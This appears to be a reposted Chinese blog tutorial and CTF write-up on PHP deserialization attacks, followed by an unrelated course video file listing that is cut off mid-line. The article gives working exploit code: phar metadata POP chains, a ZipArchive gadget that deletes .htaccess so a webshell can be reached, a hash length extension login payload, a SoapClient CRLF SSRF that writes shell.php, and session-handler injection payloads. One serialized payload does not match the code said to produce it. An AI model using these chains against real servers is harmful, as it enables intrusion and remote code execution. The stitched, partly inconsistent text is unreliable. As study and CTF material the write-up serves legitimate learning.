PHP反序列化进阶学习与总结

转自:先知社区——Threezh1,原文章连接:PHP反序列化进阶学习与总结 - 先知社区

pravite和Protected成员的序列化

以前在做反序列化的题的时候遇到的都是public成员,但在k0rz3n师傅的文章中看到了Private和Protected权限序列化的过程中有着不同的差别。这里做一个小知识点的总结。

先来复习一下一个简单的序列化例子:

<?php
class Threezh1 {
    public $text;

    function execute($payload) {
        eval($payload);
    }

    function __destruct(){
        $this->execute($this->text);
    }
}

$a = new Threezh1();
$a->text = 'echo "Threezh1";';
echo serialize($a);
?>

序列化后的内容:

O:8:"Threezh1":1:{s:4:"text";s:16:"echo "Threezh1";";}

O代表这是一个对象,8代表对象名称的长度,1代表成员个数。

大括号中分别是:属性名类型、长度、名称;值类型、长度、值。

那反序列化的过程中是这样的:

<?php
class Threezh1 {
    public $text;

    function execute($payload) {
        eval($payload);
    }

    function __destruct(){
        $this->execute($this->text);
    }
}
unserialize($_GET["a"]);
?>

访问:http://127.0.0.1/index.php?a=O:8:%22Threezh1%22:1:{s:4:%22text%22;s:16:%22echo%20%22Threezh1%22;%22;}

返回:

Threezh1

Private类型

那么问题来了,如果把$text成员从public改为private呢?

因为在实例中无法通过$obj->属性名(或方法名) 来调用pravite类型的方法或属性。所以上面生成的例子需要改一下:

<?php
class Threezh1
{
    private $text = 'phpinfo();';

    public function setPayload($temp){
        $this->text = $temp;
    }

    function execute($payload) {
        eval($payload);
    }

    function __destruct(){
        $this->execute($this->text);
    }
}

$a = new Threezh1();
$a->setPayload('echo "Threezh1";');
$data = serialize($a);
echo($data);
file_put_contents("serialize.txt", $data);

这时候生成出来的序列化的内容为:

O:8:"Threezh1":1:{s:14:"Threezh1text";s:16:"echo "Threezh1";";}

按照前面的反序列化步骤,进行反序列化。会发现序列化并没有成功,显示了phpinfo的页面:

那怎么样才能使它反序列化成功呢?我们使用winhex打开刚刚保存的serialize.txt。内容如下图:

会发现在Threezh1的左右,也就是属性名中的类名左右存在两个空字节。所以反序列化不成功的原因就是由于序列化内容生成到网页后,空字节不会一同生成出去,导致反序列化的时候无法识别是private属性,反序列化失败。

那解决这个问题的方法就是,在传递反序列化字符串中,在类名的左右加上%00,也就是空字节对于的URL编码。反序列化成功结果如下:

这也正好解释了,为什么序列化内容中,为什么属性名的长度为14。

所以,Private类型在序列化的格式为:%00类名%00

Protected类型

Protected类型和private有些许不同,生成的序列化内容为:

O:8:"Threezh1":1:{s:7:"*text";s:16:"echo "Threezh1";";}

使用winhex查看保存的serialize.txt

可得出,Protected类型在序列化的格式为:%00*%00类名

Phar反序列化

phar的总结类文章已经有很多了,比如Hu3sky学长的初探phar://

自己在总结phar的过程中又学习到了一些新的内容,这里就做下记录。

phar文件的结构:

phar文件都包含以下几个部分:

1. stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
    被压缩文件的内容
4. signature (可空)
    签名,放在末尾。

生成一个phar文件:

php内置了一个phar类来处理相关操作。

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

phar受影响的文件操作函数:

知道创宇测试后受影响的函数列表:

但实际并不止这一些。

参考zxc师傅的文章:Phar与Stream Wrapper造成PHP RCE的深入挖掘 - zsx's Blog

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper。都可能触发phar反序列化漏洞。

以下这些方式都可触发phar反序列化漏洞:

exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize
getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

配合其他协议:(SUCTF)

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

这次的ByteCTF也有这个点。使用的是:php://filter/resource=phar://phar.phar

Postgres

<?php
    $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
    @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Mysql

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

配置一下mysqld:

[mysqld]
local-infile=1
secure_file_priv=""
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
?>

漏洞的利用实例:

一个简单的例子

phar.php

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

index.php

<?php
class TestObject {
    public $name;

    function __destruct()
    {
        echo $this -> name;
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}
?>

使用php phar.php生成phar.phar文件。

访问:http://127.0.0.1/index.php?file=phar://phar.phar

返回:Threezh1。 反序列化利用成功。

绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/

upload.html:

<!DOCTYPE html>
<html>
<head>
    <title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php

仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

index.php

<?php
class TestObject{
    var $data = 'echo "Hello World";';
    function __destruct()
    {
        eval($this -> data);
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过

我们可以构造一个php来生成phar.phar。

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif

  • 二、上传到upload_file目录下

可见已经执行了phpinfo命令了。

通过修改后缀名和文件头,能够绕过大部分的校验。

配合PHP内核哈希表碰撞攻击

参考:blackhat议题深入 | phar反序列化 - 先知社区

原生类序列化(ZipArchive::open)

拿这次2019 ByteCTF的ezCMS这道题来学习这个知识点。

先是哈希长度扩展攻击 参考

登录账户:admin
登录密码:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00test

置cookie:user=2e05fd4ee5d0ec7853d174d06cd3ca47;

config.php:

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

# 52107b08c0f3342d2153ae1d68e6262c

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{ // 检查一些关键字
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);

        $black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字

        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }

        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }   
        $mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()   //类被销毁时自动触发
    {
        if (isset($this->checker)){
            $this->checker->upload_file();   //调用upload_file()方法
        }
    }
}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;

        $this->content_check = new Check($this->file_tmp);

        $profile = new Profile();

        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp); // 
        if ($this->size > 204800){
            die("your file is too big");
        }
        # 
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){

        //从SESSION当中取用户名和密码
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];

        $secret = "********";

        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments) //当调用不存在的方式时触发
    {
        $this->admin->open($this->username, $this->password); //这里作为
    }
}

view.php:

<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);   //调用File类
$res = $file->view_detail();                //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>

在view.php中,url中传递的filename与filepath进行一次url编码之后传递到File类中调用view_detail方法。

view_detail方法中存在一个mime_content_type()函数, 这个函数是可以导致phar反序列化的。

在此之前:

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }

这个正则禁止了大部分的进行phar反序列化的关键词,不允许这些关键词出现在filepath的开头。但是这里漏了一个php://协议。 参考SUCTF

找到了phar反序列化触发点之后,开始构造一条可利用的POP链,思路:

  1. File类的__destruct()会调用$this->checker->upload_file()。可以将$this->checker赋值为Profile类
  2. 因为$this->checker没有Profile类,触发__call()魔术方法
  3. 调用$this->admin->open($this->username, $this->password); 这里可以使用原生类反序列化

原生类反序列化参考

简要笔记:

利用PHP函数 ZipArchive::open($filename, $flags)
当$flag=ZipArchive::OVERWRITE时,就会将$filename的文件删除

构造Payload:

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }

}
class Profile{
    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
        $this->password = "ZipArchive::OVERWRITE";
        $this->admin = new ZipArchive();
    }


}

$a = new File("threezh1", "threezh1");

class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

先把phar文件生成出来上传。

再访问:http://127.0.0.1/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/f528764d624db129b32c21fbca0cb8d6/9c7f4a2fbf2dd3dfb7051727a644d99f.phar

即可把.htaccess删除,再直接去访问一句话木马连蚁剑拿flag。(这里由于题目已经关了,自己的环境总是出问题,就没复现成功。)

原生类魔法函数(soapClient类)

参考这一篇:反序列化攻击面拓展提高篇

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一
WSDL 用来描述如何访问具体的接口 
UDDI用来管理,分发,查询webService 
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

webService相当于 HTTP + XML

SoapClient()方法

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。

用Soap进行SSRF也有两个需要注意的点:

  • Soap不是默认开启的,需要手动开启
  • 需要触发__call方法才能进行SSRF

SOAP => CRLF => SSRF

文章当中的exp.php:

<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
$c=unserialize(urldecode($aaa));
$c->ss();
?>

test.php:

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
    echo 'hi';
    @$a=$_POST[1];
    @eval($a);
}
 ?>

访问 http://127.0.0.1/exp.php 可在目录下写入一个shell.php。

Session反序列化

参考这一篇PHP中SESSION反序列化机制

PHP中的session保存

PHP.ini有以下配置项用于控制session有关的设置:

session.save_path="D:\xampp\tmp"    表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files          表明session是以文件的方式来进行存储的
session.auto_start=0                表明默认不启动session
session.serialize_handler=php       表明session的默认序列话引擎使用的是php序列话引擎

PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "Threezh1";时。不同的引擎保存的session文件内容如下:

php: 
    name|s:8:"Threezh1";
    存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
    names:8:"Threezh1";
    存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
    a:1:{s:4:"name";s:8:"Threezh1";}
    存储方式是,经过serialize()函数序列化处理的值

切换不同引擎使用的函数为:ini_set('session.serialize_handler', '需要设置的引擎');

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

Session反序列化漏洞的原理:

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。

文章中有一个简单的例子:

test1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

test2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
?>

通过源码可以得知,test1中使用的session解析引擎是php_serialize,test2使用的是php。

并且在test1中,SESSION["spoock"]的值是可控的。

访问:

http://localhost/test1.php?a=|O:5:%22lemon%22:1:{s:2:%22hi%22;s:16:%22echo%20%27Threezh1%27;%22;}

a参数的值为“|” + 一个序列化的对象。

再访问:

http://localhost/test2.php

返回:

Threezh1

可知我们在session中的解析过程中,对我们的payload进行了反序列化。为什么会出现这种情况呢?

payload的构造

先看两个解析引擎存储session的格式:

php: 
    name|s:8:"Threezh1";
    存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_serialize(php>5.5.4):
    a:1:{s:4:"name";s:8:"Threezh1";}
    存储方式是,经过serialize()函数序列化处理的值

思路:

因为储存session的页面(test1)使用的是php_serialize解析引擎,如果我们把session的值中添加一个“|”,在test2页面中使用php解析引擎解析的过程中,就会把“|”前面的值作为一个session键名,对“|”后面就会进行一个反序列化操作。

“|”后面的序列化对象生成:

<?php
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
$a = new lemon();
$a->hi = "echo 'Threezh1';";
echo serialize($a)
?>

但是直接这样利用的话,局限性还是太大了。

但在有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。详情

条件:

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)

上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

本打算复现:有趣的php反序列化总结,但在传递payload的时候,payload如果存在"|"。session就会为空,还没有找到解决的方法,如果有师傅遇到同样的问题,还望师傅帮忙解答。

jarvisoj-web-writeup PHPINFO

题目地址:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

开头将session的解析引擎定义为了php。

访问:phpinfo() 可看到session.upload_progress.enabled,session.upload_progress.cleanup都符合条件。

于是构造一个upload.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

poc.php:

<?php
class OowoO
{
    public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

生成序列化的值为:

O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";}

在上传的时候抓包,修改上传的内容为序列化的值前加一个“|”。即可遍历目录。

再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload:

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

得到flag:

参考

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
├<思库教育一段> │ ├1 div实现分块 给颜色;添表格.lxe │ ├1_html+css+js.zip │ ├10表单+input属性值.lxe │ ├2div如何平行显示.lxe │ ├3浮动(float)与清除(cleal)浮动.lxe │ ├4如何使用手册与表单张3作业.lxe │ ├5div布局小案例(民生银行)上.lxe │ ├6div布局小案例(民生银行)下.lxe │ ├7 CSS .lxe │ ├8经常犯的错误大整理.lxe │ ├9 ul+ul去点+外边距+浮动.lxe │ ├<html> │ │ ├[思库教育]第三集 基本常用标签.mp4 │ │ ├[思库教育]第五集 二制原理,字符编码原理.wmv │ │ ├【思库教育】第二集 html设计思想和基本格式.mp4 │ │ ├【思库教育】第一集 网页介绍,环境与编辑器.wmv │ │ └第四集 排版标签.wmv │ ├<js> │ │ ├LXE文件播放说明.txt │ │ ├<day15> │ │ │ ├录像1.avi │ │ │ └录像2.avi │ │ ├<day16> │ │ │ ├[思库教育]JS 第二集 写一个程序输出1到100这些数字.avi │ │ │ ├[思库教育]JS 第六 集 数组初步 (1).avi │ │ │ ├[思库教育]JS 第七集 数组初步 (2).avi │ │ │ ├[思库教育]JS 第三集 经过多少次这个路口.avi │ │ │ ├[思库教育]JS 第四集 九九乘法表.avi │ │ │ ├[思库教育]JS 第五集 js系统内置函数.avi │ │ │ └[思库教育]JS 第一集 计算1到100的所有数的平方和.avi │ │ ├<day17> │ │ │ ├[思库教育]JS 第10集 数组常用方法.avi │ │ │ ├[思库教育]JS 第11集 冒泡排序.html.avi │ │ │ ├[思库教育]JS 第11集 字符串(对象)常见属性.avi │ │ │ ├[思库教育]JS 第12集 Math对象.avi │ │ │ ├[思库教育]JS 第13集 Date对象.avi │ │ │ ├[思库教育]JS 第8集 关联数组.avi │ │ │ └[思库教育]JS 第9集 二维数组.avi │ │ ├<day18> │ │ │ ├[思库教育]JS 第14集 作业讲解.avi │ │ │ ├[思库教育]JS 第15集 作业讲解.avi │ │ │ ├[思库教育]JS 第16集 作业讲解.avi │ │ │ ├[思库教育]JS 第17集 作业_获取一个长文件路径.avi │ │ │ └[思库教育]JS 第18集 作业假设30岁你要多少天去奋斗.avi │ │ ├<day19> │ │ │ ├[思库教育]JS 第19集 js事件对象.avi │ │ │ ├[思库教育]JS 第20集 js事件对象.avi │ │ │ ├[思库教育]JS 第21集 js事件对象.avi │ │ │ ├[思库教育]JS 第22集 js事件对象.avi │ │ │ └[思库教育]JS 第23集 js事件对象.avi │ │ ├<day20> │ │ │ ├[思库教育]JS 第24集 js作业.avi │ │ │ └[思库教育]JS 第25集 event对象.avi │ │ ├<day21> │ │ │ ├[思库教育]JS 第25集 作业.avi │ │ │ ├[思库教育]JS 第26集 window对象_1.avi │ │ │ └[思库教育]JS 第27集 window对象_2.avi │ │ ├<day22> │ │ │ └[思库教育]JS 第28集 window对象的定时器方法.avi │ │ ├<day23> │ │ │ ├[思库教育]JS 第28集 作业_图片轮播1.avi │ │ │ └[思库教育]JS 第29集 作业_图片轮播2.avi │ │ ├<day24> │ │ │ ├[思库教育]JS 第30集 各种找对象的奇葩方法.avi │ │ │ ├[思库教育]JS 第31集 window对象中的几个简单对象.avi │ │ │ ├[思库教育]JS 第32集 iframe内嵌窗口.avi │ │ │ └[思库教育]JS 第33集 DOM介绍.avi │ │ ├<day25> │ │ │ ├[思库教育]JS 第34集 当当网案例.avi │ │ │ ├[思库教育]JS 第35集 标签式浏览.avi │ │ │ └[思库教育]JS 第36集 节点操作.avi │ │ ├<day26> │ │ │ ├[思库教育]JS 第37集 表单验证.avi │ │ │ ├[思库教育]JS 第38集 对象动态绑定事件.avi │ │ │ ├[思库教育]JS 第39集 表格对象操作.avi │ │ │ └[思库教育]JS 第40集 元素滚动原理.avi ├<思库教育二段> │ ├<day1> │ │ ├[思库教育]php 第1集 网络认识及apache安装.avi │ │ ├[思库教育]php 第2集 apache配置_1.avi │ │ ├[思库教育]php 第3集 Apache配置_2.avi │ │ ├window-apache-php安装.doc │ │ └笔记.doc │ ├<day10> │ │ ├[思库教育]第25集 斐波纳挈数列.mp4 │ │ └[思库教育]第26集 数组的遍历.avi │ ├<day11> │ │ ├[思库教育]第27集 猴子吃桃.avi │ │ ├[思库教育]第28集 杨辉三角.avi │ │ ├[思库教育]第29集 数组传递.avi │ │ └[思库教育]第30集 数组操作.avi │ ├<day12> │ │ ├[思库教育]第31集 数组操作..avi │ │ ├[思库教育]第32集 数组操作.avi │ │ └[思库教育]第33集运算符.avi │ ├<day13> │ │ ├[思库教育]第34集 mysql数据库认识.avi │ │ ├[思库教育]第35集 mysql数据库连接.avi │ │ ├[思库教育]第36集 创建数据库.avi │ │ └[思库教育]第37集 创建表.avi │ ├<day14> │ │ ├[思库教育]第38集 crud.avi │ │ ├[思库教育]第39集 sql普通查询.avi │ │ └[思库教育]第40集 sql普通查询二.avi │ ├<day15> │ │ ├[思库教育]第41集 navcat图形工具使用.avi │ │ ├[思库教育]第42集 表分析练习.avi │ │ ├[思库教育]第43集 数据库三范式.avi │ │ ├[思库教育]第44集 group by及聚合函数.avi │ │ └思库教育]第45集 group by及having.avi │ ├<day16> │ │ ├[思库教育]第46集 powerdesigner使用E-R图.avi │ │ └[思库教育]第47集 e-r图作业讲解.avi │ ├<day17> │ │ ├[思库教育]第48集 多表联查.avi │ │ ├[思库教育]第49集 多表联查练习.avi │ │ ├[思库教育]第50集 view视图.avi │ │ └[思库教育]第51集 事物.avi │ ├<day18> │ │ ├[思库教育]第52集 php操作mysql.avi │ │ └[思库教育]第53集 php操作mysql 增删改查案例.avi │ ├<day19> │ │ └[思库教育]第54集 案例-学生选课系统.avi │ ├<day2> │ │ ├[思库教育]php 第4集 apache深入.avi │ │ ├[思库教育]php 第5集apache多端口访问.avi │ │ ├[思库教育]php 第6集php安装.avi │ │ └[思库教育]php 第7集php配置.avi │ ├<day20> │ │ ├[北京思库教育]第55集 数据库分页.avi │ │ ├[北京思库教育]第56集 数据库分页二.avi │ │ └[北京思库教育]第57集 面向对象编程(OOP).avi │ ├<day21> │ │ ├[北京思库教育]第58集 构造方法.avi │ │ ├[北京思库教育]第59集 clone及静态方法.avi │ │ ├[北京思库教育]第60集 常量继承.avi │ │ └[北京思库教育]第61集 继承.avi │ ├<day22> │ │ └[北京思库教育]第62集 封装db类.avi │ ├<day23> │ │ ├[北京思库教育]第63集 访问控制..avi │ │ ├[北京思库教育]第64集 final.avi │ │ ├[北京思库教育]第65集 抽象类.avi │ │ ├[北京思库教育]第66集 接口.avi │ │ └[北京思库教育]第67集 自动加载.avi │ ├<day3_PHP最基本的语法> │ │ ├[思库教育]php 第8集 PHP如何执行?.avi │ │ ├[思库教育]php 第9集 php语法介绍.avi │ │ └[思库教育]php 第9集 超全局数组$_GET.avi │ ├<day4> │ │ ├[思库教育]php 第10集 超全局数组.avi │ │ ├[思库教育]php 第11集 在命令行执行php时,获得传递到php脚本的数据.avi │ │ ├[思库教育]php 第12 集字符串数据类型.avi │ │ └[思库教育]php 第13集 其它数据类型介绍.avi │ ├<day5> │ │ ├[思库教育]php 第14集 .数据类型转换.avi │ │ └[思库教育]php 第15集 流程控制语句.avi │ ├<day6> │ │ ├[思库教育]php 第16集 找出100之内的素数.avi │ │ └[思库教育]php 第17集 (include)文件引入.avi │ ├<day7> │ │ ├[思库教育]php 第18集 作业1 求红 白 黑 球.avi │ │ └[思库教育]php 第18集 作业公鸡、母鸡和小鸡各是多少只?.avi │ ├<day8> │ │ ├第19集 倒计时自动跳转.avi │ │ └第20集 计算器.avi │ ├<day9> │ │ ├[思库教育]第21集 函数.avi │ │ ├[思库教育]第22集 变量作用域.avi │ │ ├[思库教育]第23集 header及匿名函数.avi │ │ └[思库教育]第24集 静态局部变量.avi ├<思库教育三段> │ ├<day1> │ │ ├[北京思库教育]第68集 设计模式_单例.avi │ │ ├[北京思库教育]第69集 设计模式_工厂.avi │ │ ├[北京思库教育]第70集 序列序列.avi │ │ ├[北京思库教育]第71集 属性重载.avi │ │ └[北京思库教育]第72集 常见的类和对象操作函数.avi │ ├<day10> │ │ ├[北京思库教育]第100集大型电子商场开发实战.avi │ │ ├[北京思库教育]第101集 大型电子商场开发实战.avi │ │ └[北京思库教育]第102集 